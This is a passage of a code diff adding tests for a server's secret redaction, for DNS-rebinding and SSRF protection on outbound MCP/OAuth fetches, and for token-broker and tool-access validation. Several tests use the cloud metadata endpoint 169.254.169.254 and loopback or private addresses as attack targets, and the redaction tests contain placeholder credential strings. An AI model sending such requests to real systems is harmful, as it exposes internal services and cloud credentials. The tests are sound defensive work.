expect(JSON.stringify(out)).not.toContain("\\u001b"); + }); + it("does not redact a bare `token` field — pagination cursors and CSRF tokens are not credentials", () => { const out = redactSensitive({ token: "next-page-cursor", limit: 20 }) as Record; @@ -98,3 +116,11 @@ describe("redactSensitive", () => { expect(json).not.toContain("[1,2,3]"); }); }); + +describe("stripSecretBearingUrlParts", () => { + it("keeps a request path legible while dropping its complete query and fragment", () => { + expect(stripSecretBearingUrlParts( + "/api/tools/oauth/callback?code=authorization-code&error_description=provider-prose#fragment", + )).toBe("/api/tools/oauth/callback"); + }); +}); diff --git a/server/src/__tests__/redaction.test.ts b/server/src/__tests__/redaction.test.ts index 4a295f103e..3189070b19 100644 --- a/server/src/__tests__/redaction.test.ts +++ b/server/src/__tests__/redaction.test.ts @@ -76,6 +76,45 @@ describe("redaction", () => { }); }); + /** + * A removal receipt (PAP-17119) has to show what it revoked, so a fixed set of + * count keys is exempt from the secret-key guard — but only while the value is + * a number. The second half of this test is the point: the same key carrying + * anything else is still blanked, so the exemption cannot be used to smuggle + * material out under a familiar name. + */ + it("keeps numeric removal-receipt counts but still redacts non-numeric values on the same keys", () => { + expect(sanitizeRecord({ + secretsRevoked: 2, + secretsRetainedShared: 0, + credentialRefsCleared: 3, + secretBindingsRemoved: 3, + tokenIssuanceHashesCleared: 1, + gatewayTokensRevoked: 0, + appProfile: "deleted", + })).toEqual({ + secretsRevoked: 2, + secretsRetainedShared: 0, + credentialRefsCleared: 3, + secretBindingsRemoved: 3, + tokenIssuanceHashesCleared: 1, + gatewayTokensRevoked: 0, + appProfile: "deleted", + }); + + expect(sanitizeRecord({ + secretsRevoked: "pasted-api-key-value", + secretBindingsRemoved: { name: "tool_app.abc.headers_authorization" }, + tokenIssuanceHashesCleared: Number.NaN, + gatewayTokensRevoked: ["pcgw_live_token"], + })).toEqual({ + secretsRevoked: REDACTED_EVENT_VALUE, + secretBindingsRemoved: REDACTED_EVENT_VALUE, + tokenIssuanceHashesCleared: REDACTED_EVENT_VALUE, + gatewayTokensRevoked: REDACTED_EVENT_VALUE, + }); + }); + it("redacts common secret shapes from unstructured text", () => { const jwt = "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"; const githubToken = "ghp_1234567890abcdefghijklmnopqrstuvwxyz"; diff --git a/server/src/__tests__/remote-http-rebinding.test.ts b/server/src/__tests__/remote-http-rebinding.test.ts new file mode 100644 index 0000000000..1476673758 --- /dev/null +++ b/server/src/__tests__/remote-http-rebinding.test.ts @@ -0,0 +1,506 @@ +import { createServer, type IncomingMessage, type Server, type ServerResponse } from "node:http"; +import { connect as netConnect, createServer as netCreateServer, type AddressInfo, type Socket } from "node:net"; +import { gzipSync } from "node:zlib"; +import { afterEach, describe, expect, it } from "vitest"; + +import { guardedRemoteHttpFetch, type RemoteHttpSocketFactory } from "../services/remote-http-fetch.js"; + +/** + * PAP-17098 — DNS-rebinding regression coverage for outbound MCP/OAuth calls. + * + * The vulnerability was a TOCTOU: the guard resolved a hostname, approved it, + * and then handed the *hostname* to global `fetch`, which resolved it a second + * time. A name server the attacker controls can answer with a public address for + * the first lookup and a loopback/private/link-local address for the second, + * pointing the connection at an internal service or the cloud metadata endpoint. + * + * These tests model that name server deterministically: `lookup` returns a public + * address on its first call and `127.0.0.1` on every call after it. Nothing here + * touches real DNS or the real network — `socketFactory` stands in for the + * network so a "public" address is a loopback listener that reports itself as + * public, exactly as it would look to the kernel. + */ + +const PUBLIC_ADDRESS = "93.184.216.34"; +const REBIND_HOST = "mcp.rebind.test"; + +type TestServer = { + server: Server; + port: number; + requests: Array<{ url: string; host: string | undefined }>; + connections: number; +}; + +const openServers: Server[] = []; +const openSockets: Socket[] = []; + +afterEach(async () => { + for (const socket of openSockets.splice(0)) socket.destroy(); + await Promise.all(openServers.splice(0).map((server) => new Promise((resolve) => server.close(() => resolve())))); +}); + +async function startServer(handler?: (req: IncomingMessage, res: ServerResponse) => void): Promise { + const requests: TestServer["requests"] = []; + const state = { connections: 0 }; + const server = createServer((req, res) => { + requests.push({ url: req.url ?? "", host: req.headers.host }); + if (handler) { + handler(req, res); + return; + } + res.writeHead(200, { "content-type": "application/json" }); + res.end(JSON.stringify({ ok: true })); + }); + server.on("connection", () => { + state.connections += 1; + }); + openServers.push(server); + await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); + const port = (server.address() as AddressInfo).port; + return { + server, + port, + requests, + get connections() { + return state.connections; + }, + }; +} + +function guardError(message: string, code: string) { + return Object.assign(new Error(message), { code }); +} + +/** + * A stand-in for the network: routes whatever address the transport dialled to a + * loopback listener, and reports `remoteAddress` as the dialled address so the + * peer check sees what the kernel would have seen. + */ +function routingSocketFactory(routes: Record): { + factory: RemoteHttpSocketFactory; + dialled: string[]; + sockets: Socket[]; +} { + const dialled: string[] = []; + const sockets: Socket[] = []; + const factory: RemoteHttpSocketFactory = (target) => { + dialled.push(target.address); + const port = routes[target.address]; + if (port === undefined) throw new Error(`test network has no route to ${target.address}`); + const socket = netConnect({ host: "127.0.0.1", port }); + openSockets.push(socket); + sockets.push(socket); + Object.defineProperty(socket, "remoteAddress", { get: () => target.address, configurable: true }); + return socket; + }; + return { factory, dialled, sockets }; +} + +/** Waits for the socket bookkeeping the transport does after it rejects. */ +async function flush(): Promise { + await new Promise((resolve) => setTimeout(resolve, 50)); +} + +/** A name server that answers public first and loopback afterwards. */ +function rebindingLookup(): { lookup: () => Promise>; calls: () => number } { + let calls = 0; + return { + lookup: async () => { + calls += 1; + return calls === 1 + ? [{ address: PUBLIC_ADDRESS, family: 4 }] + : [{ address: "127.0.0.1", family: 4 }]; + }, + calls: () => calls, + }; +} + +describe("guarded remote HTTP fetch (PAP-17098 DNS rebinding)", () => { + it("turns a platform-fetch DNS cause into the stable DNS code", async () => { + const cause = Object.assign(new Error("getaddrinfo ENOTFOUND missing.invalid"), { + code: "ENOTFOUND", + }); + const unpinnedFetch = (async () => { + throw Object.assign(new TypeError("fetch failed"), { cause }); + }) as typeof fetch; + + await expect(guardedRemoteHttpFetch("https://8.8.8.8/mcp", {}, { + allowPrivateNetwork: true, + unpinnedFetch, + error: guardError, + })).rejects.toMatchObject({ + code: "remote_http_dns_failed", + message: "Remote MCP connection hostname could not be resolved", + }); + }); + + it("pins the connection to the approved address so a rebind never reaches loopback", async () => { + const upstream = await startServer(); + const internal = await startServer(); + const dns = rebindingLookup(); + const network = routingSocketFactory({ + [PUBLIC_ADDRESS]: upstream.port, + "127.0.0.1": internal.port, + }); + + const response = await guardedRemoteHttpFetch(`http://${REBIND_HOST}/mcp`, {}, { + allowPrivateNetwork: false, + lookup: dns.lookup, + socketFactory: network.factory, + error: guardError, + }); + + await expect(response.json()).resolves.toEqual({ ok: true }); + // One resolution, and the connection went to the address that resolution + // approved. The rebind answer is never consulted, so it cannot win a race. + expect(dns.calls()).toBe(1); + expect(network.dialled).toEqual([PUBLIC_ADDRESS]); + expect(upstream.requests).toHaveLength(1); + expect(internal.connections).toBe(0); + expect(internal.requests).toHaveLength(0); + }); + + it("keeps the original Host header even though it dialled an IP address", async () => { + const upstream = await startServer(); + const dns = rebindingLookup(); + const network = routingSocketFactory({ [PUBLIC_ADDRESS]: upstream.port }); + + await guardedRemoteHttpFetch(`http://${REBIND_HOST}/mcp`, { method: "POST", body: "{}" }, { + allowPrivateNetwork: false, + lookup: dns.lookup, + socketFactory: network.factory, + error: guardError, + }); + + expect(upstream.requests[0]?.host).toBe(REBIND_HOST); + expect(upstream.requests[0]?.url).toBe("/mcp"); + }); + + it("sends the hostname as TLS SNI rather than the pinned address", async () => { + // The handshake is never completed: capturing the ClientHello is enough to + // prove SNI carries the configured hostname, and needs no test certificate. + const clientHello = new Promise((resolve) => { + const server = createServer(); + openServers.push(server); + server.on("connection", (socket) => { + socket.once("data", (chunk: Buffer) => { + resolve(chunk); + socket.destroy(); + }); + }); + server.listen(0, "127.0.0.1", () => { + const port = (server.address() as AddressInfo).port; + const network = routingSocketFactory({ [PUBLIC_ADDRESS]: port }); + void guardedRemoteHttpFetch(`https://${REBIND_HOST}/mcp`, {}, { + allowPrivateNetwork: false, + lookup: async () => [{ address: PUBLIC_ADDRESS, family: 4 }], + socketFactory: network.factory, + error: guardError, + }).catch(() => {}); + }); + }); + + const hello = await clientHello; + expect(hello.includes(REBIND_HOST)).toBe(true); + expect(hello.includes(PUBLIC_ADDRESS)).toBe(false); + }); + + it("rejects a peer that turns out to be loopback without writing a request", async () => { + const internal = await startServer(); + // A rebind below DNS: resolution approved a public address, but the socket + // lands on loopback anyway. The peer check has to catch it, and has to catch + // it before any request byte is written. + const factory: RemoteHttpSocketFactory = () => { + const socket = netConnect({ host: "127.0.0.1", port: internal.port }); + openSockets.push(socket); + return socket; + }; + + await expect(guardedRemoteHttpFetch(`http://${REBIND_HOST}/mcp`, {}, { + allowPrivateNetwork: false, + lookup: async () => [{ address: PUBLIC_ADDRESS, family: 4 }], + socketFactory: factory, + error: guardError, + })).rejects.toMatchObject({ code: "remote_http_private_endpoint" }); + + expect(internal.requests).toHaveLength(0); + }); + + it("rejects a hostname whose only resolution is link-local metadata", async () => { + const internal = await startServer(); + const network = routingSocketFactory({ "169.254.169.254": internal.port }); + + await expect(guardedRemoteHttpFetch("http://metadata.rebind.test/latest/meta-data/", {}, { + allowPrivateNetwork: false, + lookup: async () => [{ address: "169.254.169.254", family: 4 }], + socketFactory: network.factory, + error: guardError, + })).rejects.toMatchObject({ code: "remote_http_private_endpoint" }); + + expect(network.dialled).toEqual([]); + expect(internal.requests).toHaveLength(0); + }); + + it("rejects a hostname that resolves to a mix of public and private addresses", async () => { + await expect(guardedRemoteHttpFetch(`http://${REBIND_HOST}/mcp`, {}, { + allowPrivateNetwork: false, + lookup: async () => [ + { address: PUBLIC_ADDRESS, family: 4 }, + { address: "10.1.2.3", family: 4 }, + ], + socketFactory: () => { + throw new Error("must not dial"); + }, + error: guardError, + })).rejects.toMatchObject({ code: "remote_http_private_endpoint" }); + }); + + it("does not follow redirects, so the caller re-runs the guard on the next hop", async () => { + const upstream = await startServer((_req, res) => { + res.writeHead(302, { location: "http://127.0.0.1:9/internal" }); + res.end(); + }); + const network = routingSocketFactory({ [PUBLIC_ADDRESS]: upstream.port }); + + const response = await guardedRemoteHttpFetch(`http://${REBIND_HOST}/mcp`, {}, { + allowPrivateNetwork: false, + lookup: async () => [{ address: PUBLIC_ADDRESS, family: 4 }], + socketFactory: network.factory, + error: guardError, + }); + + expect(response.status).toBe(302); + expect(response.headers.get("location")).toBe("http://127.0.0.1:9/internal"); + }); + + it("carries an MCP Streamable HTTP exchange, SSE framing included", async () => { + // The pinned transport replaces `fetch` on the tools/call path, so an MCP + // JSON-RPC reply delivered as a single SSE event has to survive it intact. + const upstream = await startServer((req, res) => { + const chunks: Buffer[] = []; + req.on("data", (chunk: Buffer) => chunks.push(chunk)); + req.on("end", () => { + const request = JSON.parse(Buffer.concat(chunks).toString("utf8")) as { method: string }; + res.writeHead(200, { "content-type": "text/event-stream" }); + res.end(`event: message\ndata: ${JSON.stringify({ jsonrpc: "2.0", id: "1", result: { echo: request.method } })}\n\n`); + }); + }); + const network = routingSocketFactory({ [PUBLIC_ADDRESS]: upstream.port }); + + const response = await guardedRemoteHttpFetch(`http://${REBIND_HOST}/mcp`, { + method: "POST", + headers: { accept: "application/json, text/event-stream", "content-type": "application/json" }, + body: JSON.stringify({ jsonrpc: "2.0", id: "1", method: "tools/call", params: {} }), + }, { + allowPrivateNetwork: false, + lookup: async () => [{ address: PUBLIC_ADDRESS, family: 4 }], + socketFactory: network.factory, + error: guardError, + }); + + expect(response.headers.get("content-type")).toBe("text/event-stream"); + await expect(response.text()).resolves.toContain('"echo":"tools/call"'); + }); + + it("decodes a compressed response body the way fetch would", async () => { + const upstream = await startServer((_req, res) => { + res.writeHead(200, { "content-type": "application/json", "content-encoding": "gzip" }); + res.end(gzipSync(Buffer.from(JSON.stringify({ token_endpoint: "https://auth.example/token" }), "utf8"))); + }); + const network = routingSocketFactory({ [PUBLIC_ADDRESS]: upstream.port }); + + const response = await guardedRemoteHttpFetch(`http://${REBIND_HOST}/.well-known/oauth-authorization-server`, {}, { + allowPrivateNetwork: false, + lookup: async () => [{ address: PUBLIC_ADDRESS, family: 4 }], + socketFactory: network.factory, + error: guardError, + }); + + await expect(response.json()).resolves.toEqual({ token_endpoint: "https://auth.example/token" }); + expect(response.headers.get("content-encoding")).toBeNull(); + }); + + it("gives up on a server that accepts the connection and never answers", async () => { + // Platform `fetch` applied undici's headersTimeout for free. The OAuth + // callers pass no AbortSignal, so the pinned transport has to own the + // deadline or a silent server would hold the request open forever. + const upstream = await startServer(() => { + /* accept the request and never respond */ + }); + const network = routingSocketFactory({ [PUBLIC_ADDRESS]: upstream.port }); + + await expect(guardedRemoteHttpFetch(`http://${REBIND_HOST}/mcp`, {}, { + allowPrivateNetwork: false, + lookup: async () => [{ address: PUBLIC_ADDRESS, family: 4 }], + socketFactory: network.factory, + responseTimeoutMs: 150, + error: guardError, + })).rejects.toMatchObject({ code: "remote_http_response_timeout" }); + + // The deadline has to hand back the socket, not just the request handler: + // a bounded call that still leaks a descriptor per silent peer is the same + // exhaustion bug wearing a timer. + expect(upstream.requests).toHaveLength(1); + await flush(); + expect(network.sockets.map((socket) => socket.destroyed)).toEqual([true]); + }); + + it("gives up on a peer that dribbles response headers forever", async () => { + // This is why the headers deadline is a hard timer rather than + // `req.setTimeout`: an idle timeout never fires against this peer, because + // every trickled header line resets it. + const raw = netCreateServer((socket) => { + socket.write("HTTP/1.1 200 OK\r\n"); + const beat = setInterval(() => socket.write("x-pad: keepalive\r\n"), 25); + const stop = () => clearInterval(beat); + socket.on("close", stop); + socket.on("error", stop); + }); + await new Promise((resolve) => raw.listen(0, "127.0.0.1", resolve)); + const port = (raw.address() as AddressInfo).port; + const network = routingSocketFactory({ [PUBLIC_ADDRESS]: port }); + + try { + await expect(guardedRemoteHttpFetch(`http://${REBIND_HOST}/mcp`, {}, { + allowPrivateNetwork: false, + lookup: async () => [{ address: PUBLIC_ADDRESS, family: 4 }], + socketFactory: network.factory, + responseTimeoutMs: 150, + error: guardError, + })).rejects.toMatchObject({ code: "remote_http_response_timeout" }); + + await flush(); + expect(network.sockets.map((socket) => socket.destroyed)).toEqual([true]); + } finally { + await new Promise((resolve) => raw.close(() => resolve())); + } + }); + + it("gives up on a response body that stalls midway", async () => { + const upstream = await startServer((_req, res) => { + res.writeHead(200, { "content-type": "application/json" }); + res.write('{"partial":'); + // never finishes the body + }); + const network = routingSocketFactory({ [PUBLIC_ADDRESS]: upstream.port }); + + const response = await guardedRemoteHttpFetch(`http://${REBIND_HOST}/mcp`, {}, { + allowPrivateNetwork: false, + lookup: async () => [{ address: PUBLIC_ADDRESS, family: 4 }], + socketFactory: network.factory, + responseTimeoutMs: 150, + error: guardError, + }); + + expect(response.status).toBe(200); + await expect(response.text()).rejects.toMatchObject({ code: "remote_http_response_timeout" }); + await flush(); + expect(network.sockets.map((socket) => socket.destroyed)).toEqual([true]); + }); + + it("falls over to the next approved address when the first is unreachable", async () => { + // Pinning must not cost the failover `fetch` gave a multi-homed host: one + // dead A record should not take the connection down with it. + const upstream = await startServer(); + const dead = await startServer(); + // Close the listener so the address is routable but refuses connections. + await new Promise((resolve) => dead.server.close(() => resolve())); + const network = routingSocketFactory({ + "93.184.216.35": dead.port, + [PUBLIC_ADDRESS]: upstream.port, + }); + + const response = await guardedRemoteHttpFetch(`http://${REBIND_HOST}/mcp`, {}, { + allowPrivateNetwork: false, + lookup: async () => [ + { address: "93.184.216.35", family: 4 }, + { address: PUBLIC_ADDRESS, family: 4 }, + ], + socketFactory: network.factory, + error: guardError, + }); + + await expect(response.json()).resolves.toEqual({ ok: true }); + expect(network.dialled).toEqual(["93.184.216.35", PUBLIC_ADDRESS]); + }); + + it("fails closed instead of falling over when a peer fails the address check", async () => { + // Failover covers unreachable addresses only. A peer that answers from an + // unapproved address is the rebinding defence firing, and must not be + // retried past. + const internal = await startServer(); + const upstream = await startServer(); + const dialled: string[] = []; + const factory: RemoteHttpSocketFactory = (target) => { + dialled.push(target.address); + const socket = netConnect({ host: "127.0.0.1", port: internal.port }); + openSockets.push(socket); + return socket; + }; + + await expect(guardedRemoteHttpFetch(`http://${REBIND_HOST}/mcp`, {}, { + allowPrivateNetwork: false, + lookup: async () => [ + { address: "93.184.216.35", family: 4 }, + { address: PUBLIC_ADDRESS, family: 4 }, + ], + socketFactory: factory, + error: guardError, + })).rejects.toMatchObject({ code: "remote_http_private_endpoint" }); + + expect(dialled).toEqual(["93.184.216.35"]); + expect(internal.requests).toHaveLength(0); + expect(upstream.requests).toHaveLength(0); + }); + + it("still refuses a private IP literal before any transport runs", async () => { + await expect(guardedRemoteHttpFetch("http://169.254.169.254/latest/meta-data/", {}, { + allowPrivateNetwork: false, + error: guardError, + unpinnedFetch: async () => { + throw new Error("must not fetch"); + }, + socketFactory: () => { + throw new Error("must not dial"); + }, + })).rejects.toMatchObject({ code: "remote_http_private_endpoint" }); + }); + + it("uses platform fetch for a public IP literal, where nothing can be re-resolved", async () => { + const calls: string[] = []; + const response = await guardedRemoteHttpFetch("https://93.184.216.34/mcp", { method: "POST" }, { + allowPrivateNetwork: false, + error: guardError, + unpinnedFetch: async (input, init) => { + calls.push(`${init?.method} ${String(input)} ${init?.redirect}`); + return new Response("{}", { status: 200 }); + }, + socketFactory: () => { + throw new Error("must not dial"); + }, + }); + + expect(response.status).toBe(200); + expect(calls).toEqual(["POST https://93.184.216.34/mcp manual"]); + }); + + it("uses platform fetch when the deployment allows private endpoints", async () => { + // Nothing to pin: an operator who is allowed to point at 127.0.0.1 directly + // gains nothing from rebinding, so this mode keeps `fetch` semantics. + const calls: string[] = []; + const response = await guardedRemoteHttpFetch("http://127.0.0.1:9/mcp", {}, { + allowPrivateNetwork: true, + error: guardError, + unpinnedFetch: async (input) => { + calls.push(String(input)); + return new Response("{}", { status: 200 }); + }, + socketFactory: () => { + throw new Error("must not dial"); + }, + }); + + expect(response.status).toBe(200); + expect(calls).toEqual(["http://127.0.0.1:9/mcp"]); + }); +}); diff --git a/server/src/__tests__/tool-access-service.test.ts b/server/src/__tests__/tool-access-service.test.ts index 291cec311a..be855ecc29 100644 --- a/server/src/__tests__/tool-access-service.test.ts +++ b/server/src/__tests__/tool-access-service.test.ts @@ -37,11 +37,12 @@ import { toolStdioCommandTemplates, } from "@paperclipai/db"; import { and, eq } from "drizzle-orm"; +import { getConnectableAppDefinition } from "@paperclipai/shared"; import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase, } from "./helpers/embedded-postgres.js"; -import { classifyRisk, toolAccessService } from "../services/tool-access.js"; +import { classifyRisk, normalizeConnectionMethodConfig, toolAccessService } from "../services/tool-access.js"; import { toolAccessPolicyService } from "../services/tool-access-policy.js"; import { secretService } from "../services/secrets.js"; import { canonicalToolArguments, signToolArguments } from "../services/tool-content-guards.js"; @@ -98,6 +99,24 @@ function mockToolsList(tools: unknown[]) { ); } +const PUBLIC_MCP_FIXTURE_URL = "https://8.8.8.8/api/mcp"; + +async function withGalleryServerUrl( + slug: string, + serverUrl: string, + operation: () => Promise, +): Promise { + const method = getConnectableAppDefinition(slug)?.methods[0]; + if (!method?.defaults) throw new Error(`Missing gallery method defaults for ${slug}`); + const originalServerUrl = method.defaults.serverUrl; + method.defaults.serverUrl = serverUrl; + try { + return await operation(); + } finally { + method.defaults.serverUrl = originalServerUrl; + } +} + function createRouteApp( db: ReturnType, actor?: Express.Request["actor"], @@ -146,13 +165,14 @@ async function grantBoardUser( companyId: string, userId: string, permissionKeys: string[], + membershipRole: "owner" | "admin" | "operator" | "member" | "viewer" = "operator", ) { await db.insert(companyMemberships).values({ companyId, principalType: "user", principalId: userId, status: "active", - membershipRole: "operator", + membershipRole, }); if (permissionKeys.length > 0) { await db.insert(principalPermissionGrants).values(permissionKeys.map((permissionKey) => ({ @@ -253,6 +273,7 @@ async function createBrokerConnection( rateLimitPerHour?: number; healthStatus?: "unknown" | "healthy" | "degraded" | "failed" | "unchecked" | "ok" | "error" | "missing_secret"; tokenUrl?: string; + protocol?: "pages" | "generic" | "rfc8693"; } = {}, ) { const secret = await secretService(db).create(companyId, { @@ -283,7 +304,8 @@ async function createBrokerConnection( tokenBroker: { enabled: true, path: input.path ?? "exchange", - tokenUrl: input.tokenUrl ?? "https://pages.example.test/v1/tokens/exchange", + tokenUrl: input.tokenUrl ?? "https://93.184.216.34/v1/tokens/exchange", + ...(input.protocol ? { protocol: input.protocol } : {}), parentCredentialConfigPath: "credentials.deploy_token", parentScopes: input.parentScopes ?? ["pages:publish:ns/dotta"], defaultScopes: input.defaultScopes ?? [], @@ -474,7 +496,7 @@ describeEmbeddedPostgres("tool access service", () => { const app = createRouteApp(db, agentJwtActor(company.id, agent.id, run.id)); const fetchMock = vi.spyOn(globalThis, "fetch").mockImplementation(async (url, init) => { - expect(String(url)).toBe("https://pages.example.test/v1/tokens/exchange"); + expect(String(url)).toBe("https://93.184.216.34/v1/tokens/exchange"); expect(init?.headers).toEqual(expect.objectContaining({ authorization: "Bearer parent-deploy-token" })); const body = JSON.parse(String(init?.body)); expect(body).toMatchObject({ @@ -542,6 +564,76 @@ describeEmbeddedPostgres("tool access service", () => { ])); }); + it.each([ + ["generic", undefined], + ["RFC 8693", "rfc8693" as const], + ])("blocks a link-local %s token broker before credentials reach fetch", async (_label, protocol) => { + const company = await createCompany(db); + const agent = await createAgent(db, company.id); + const { run } = await createIssueAndRun(db, company.id, agent.id); + const { connection } = await createBrokerConnection(db, company.id, { + tokenUrl: "http://169.254.169.254/latest/meta-data", + ...(protocol ? { protocol } : {}), + }); + await allowConnectionForAgent(db, company.id, agent.id, connection.id); + const app = createRouteApp(db, agentJwtActor(company.id, agent.id, run.id)); + const fetchMock = vi.spyOn(globalThis, "fetch").mockRejectedValue( + new Error("the parent credential must never reach the broker"), + ); + + const res = await request(app) + .post(`/api/agents/me/connections/${connection.id}/token`) + .send({ scope: "pages:publish:ns/dotta" }); + + expect(res.status).toBe(400); + expect(res.body).toMatchObject({ code: "remote_http_private_endpoint" }); + expect(fetchMock).not.toHaveBeenCalled(); + const [issuance] = await db.select().from(connectionTokenIssuances); + expect(issuance).toMatchObject({ + connectionId: connection.id, + outcome: "failure", + errorCode: "remote_http_private_endpoint", + tokenHash: null, + }); + }); + + it("allows an explicitly allowlisted internal token broker through the guarded fetch", async () => { + vi.stubEnv("PAPERCLIP_TOKEN_BROKER_ALLOWED_HOSTS", "broker.example, 127.0.0.1"); + const company = await createCompany(db); + const agent = await createAgent(db, company.id); + const { run } = await createIssueAndRun(db, company.id, agent.id); + const { connection } = await createBrokerConnection(db, company.id, { + tokenUrl: "http://127.0.0.1:8787/v1/tokens/exchange", + }); + await allowConnectionForAgent(db, company.id, agent.id, connection.id); + const app = createRouteApp(db, agentJwtActor(company.id, agent.id, run.id)); + const fetchMock = vi.spyOn(globalThis, "fetch").mockImplementation(async (url, init) => { + expect(String(url)).toBe("http://127.0.0.1:8787/v1/tokens/exchange"); + expect(init).toMatchObject({ + method: "POST", + redirect: "manual", + headers: expect.objectContaining({ authorization: "Bearer parent-deploy-token" }), + }); + return { + ok: true, + status: 201, + json: async () => ({ + token: "allowlisted-child-token", + expires_in: 600, + scope: "pages:publish:ns/dotta", + }), + } as Response; + }); + + const res = await request(app) + .post(`/api/agents/me/connections/${connection.id}/token`) + .send({ scope: "pages:publish:ns/dotta" }); + + expect(res.status).toBe(200); + expect(res.body).toMatchObject({ token: "allowlisted-child-token" }); + expect(fetchMock).toHaveBeenCalledTimes(1); + }); + it("selects scoped credentials for array scopes and fails closed for unknown selectors", async () => { const company = await createCompany(db); const agent = await createAgent(db, company.id); @@ -1270,6 +1362,86 @@ describeEmbeddedPostgres("tool access service", () => { }); }); + it.each([ + ["tokenBroker.tokenUrl", { tokenBroker: { enabled: true, tokenUrl: "http://169.254.169.254/token" } }], + ["tokenBroker.exchangeTokenUrl", { tokenBroker: { enabled: true, exchangeTokenUrl: "http://169.254.169.254/token" } }], + ["tokenExchangeUrl", { tokenExchangeUrl: "http://169.254.169.254/token" }], + ["pagesTokenExchangeUrl", { pagesTokenExchangeUrl: "http://169.254.169.254/token" }], + ])("rejects a link-local %s when a remote connection is created", async (_field, brokerConfig) => { + const company = await createCompany(db); + const service = toolAccessService(db, { + deploymentMode: "authenticated", + deploymentExposure: "public", + }); + + await expect(service.createConnection(company.id, { + name: `Rejected broker ${randomUUID()}`, + transport: "mcp_remote", + config: { url: "https://93.184.216.34/mcp", ...brokerConfig }, + enabled: true, + status: "active", + })).rejects.toMatchObject({ + status: 400, + details: { code: "remote_http_private_endpoint" }, + }); + await expect(db.select().from(toolConnections)).resolves.toHaveLength(0); + }); + + it("rejects a link-local token broker when a remote connection is updated", async () => { + const company = await createCompany(db); + const service = toolAccessService(db, { + deploymentMode: "authenticated", + deploymentExposure: "public", + }); + const connection = await service.createConnection(company.id, { + name: "Initially safe broker", + transport: "mcp_remote", + config: { url: "https://93.184.216.34/mcp" }, + enabled: true, + status: "active", + }); + + await expect(service.updateConnection(connection.id, { + config: { + ...connection.config, + tokenBroker: { enabled: true, tokenUrl: "http://169.254.169.254/token" }, + }, + })).rejects.toMatchObject({ + status: 400, + details: { code: "remote_http_private_endpoint" }, + }); + await expect(service.getConnection(connection.id)).resolves.toMatchObject({ + config: { url: "https://93.184.216.34/mcp" }, + }); + }); + + it("implicitly allowlists the configured Pages API host for internal token brokers", async () => { + vi.stubEnv("PAPERCLIP_PAGES_API_URL", "http://127.0.0.1:8787"); + const company = await createCompany(db); + const service = toolAccessService(db, { + deploymentMode: "authenticated", + deploymentExposure: "public", + }); + + await expect(service.createConnection(company.id, { + name: "Internal Pages broker", + transport: "mcp_remote", + config: { + url: "https://93.184.216.34/mcp", + tokenBroker: { + enabled: true, + tokenUrl: "http://127.0.0.1:9999/v1/tokens/exchange", + }, + }, + enabled: true, + status: "active", + })).resolves.toMatchObject({ + config: { + tokenBroker: { tokenUrl: "http://127.0.0.1:9999/v1/tokens/exchange" }, + }, + }); + }); + it("lists testable agents with per-connection effective access summaries", async () => { const company = await createCompany(db); const userId = `tool-tester-${randomUUID()}`; @@ -1294,6 +1466,7 @@ describeEmbeddedPostgres("tool access service", () => { expect(res.body.agents).toHaveLength(1); expect(res.body.agents[0]).toMatchObject({ id: agent.id, + orgDepth: 0, effectiveAccess: { connectionId: connection.id, toolCount: 1, @@ -1304,6 +1477,55 @@ describeEmbeddedPostgres("tool access service", () => { }); }); + it("lists only writable agents and ranks the highest accessible agent first", async () => { + const company = await createCompany(db); + const userId = `scoped-tool-tester-${randomUUID()}`; + await grantBoardUser(db, company.id, userId, ["tools:use"], "viewer"); + const actor = boardSessionActor(company.id, "viewer", userId); + const root = await createAgent(db, company.id); + const [accessibleManager] = await db.insert(agents).values({ + companyId: company.id, + name: "Accessible manager", + role: "manager", + reportsTo: root.id, + status: "active", + adapterType: "process", + adapterConfig: {}, + runtimeConfig: {}, + }).returning(); + const [accessibleReport] = await db.insert(agents).values({ + companyId: company.id, + name: "Accessible report", + role: "engineer", + reportsTo: accessibleManager!.id, + status: "active", + adapterType: "process", + adapterConfig: {}, + runtimeConfig: {}, + }).returning(); + await db.insert(principalPermissionGrants).values({ + companyId: company.id, + principalType: "user", + principalId: userId, + permissionKey: "tasks:assign_scope", + scope: { agentIds: [accessibleManager!.id, accessibleReport!.id] }, + grantedByUserId: "owner", + }); + const { connection } = await createRemoteToolFixture(db, company.id); + const app = createRouteApp(db, actor, createToolGatewayService(db, { toolActionSigningSecret: "test-secret" })); + + const res = await request(app) + .get(`/api/tool-connections/${connection.id}/test-agents`) + .expect(200); + + expect(res.body.agents.map((agent: { id: string }) => agent.id)).toEqual([ + accessibleManager!.id, + accessibleReport!.id, + ]); + expect(res.body.agents.map((agent: { orgDepth: number }) => agent.orgDepth)).toEqual([1, 2]); + expect(res.body.agents).not.toEqual(expect.arrayContaining([expect.objectContaining({ id: root.id })])); + }); + it("surfaces a last-changed audit hint attributed to the agent that authored the governing policy", async () => { const company = await createCompany(db); const userId = `tool-tester-${randomUUID()}`; @@ -2540,6 +2762,7 @@ describeEmbeddedPostgres("tool access service", () => { "github", "slack", "notion", + "posthog", "linear", "google-sheets", "context7", @@ -2547,6 +2770,13 @@ describeEmbeddedPostgres("tool access service", () => { expect(res.body.apps.map((app: { slug: string }) => app.slug)).not.toContain("google-drive"); expect(res.body.apps).toEqual( expect.arrayContaining([ + expect.objectContaining({ + slug: "posthog", + methods: expect.arrayContaining([ + expect.objectContaining({ key: "mcp-oauth", auth: "oauth" }), + expect.objectContaining({ key: "mcp-api-key", auth: "api_key" }), + ]), + }), expect.objectContaining({ slug: "slack", methods: expect.arrayContaining([ @@ -2661,6 +2891,65 @@ describeEmbeddedPostgres("tool access service", () => { ]); }); + it("requires an explicit PostHog method and projects validated project filters", async () => { + const company = await createCompany(db); + const service = toolAccessService(db); + + await expect(service.connectGalleryApp(company.id, { + galleryKey: "posthog", + configValues: { projectId: "12345", features: "insights" }, + }, { actorType: "user", actorId: "board" })).rejects.toMatchObject({ status: 400 }); + + const fetchMock = mockToolsList([ + { name: "query_insight", annotations: { readOnlyHint: true } }, + { name: "delete_feature_flag" }, + { name: "brand_new_tool" }, + ]); + const result = await service.connectGalleryApp(company.id, { + galleryKey: "posthog", + connectionMethodKey: "mcp-api-key", + credentialValues: { "credentials.authorization": "phx_test-secret" }, + configValues: { + projectId: "12345", + readOnly: true, + features: "insights, error_tracking\ninsights", + tools: "query_insight", + mode: "tools", + 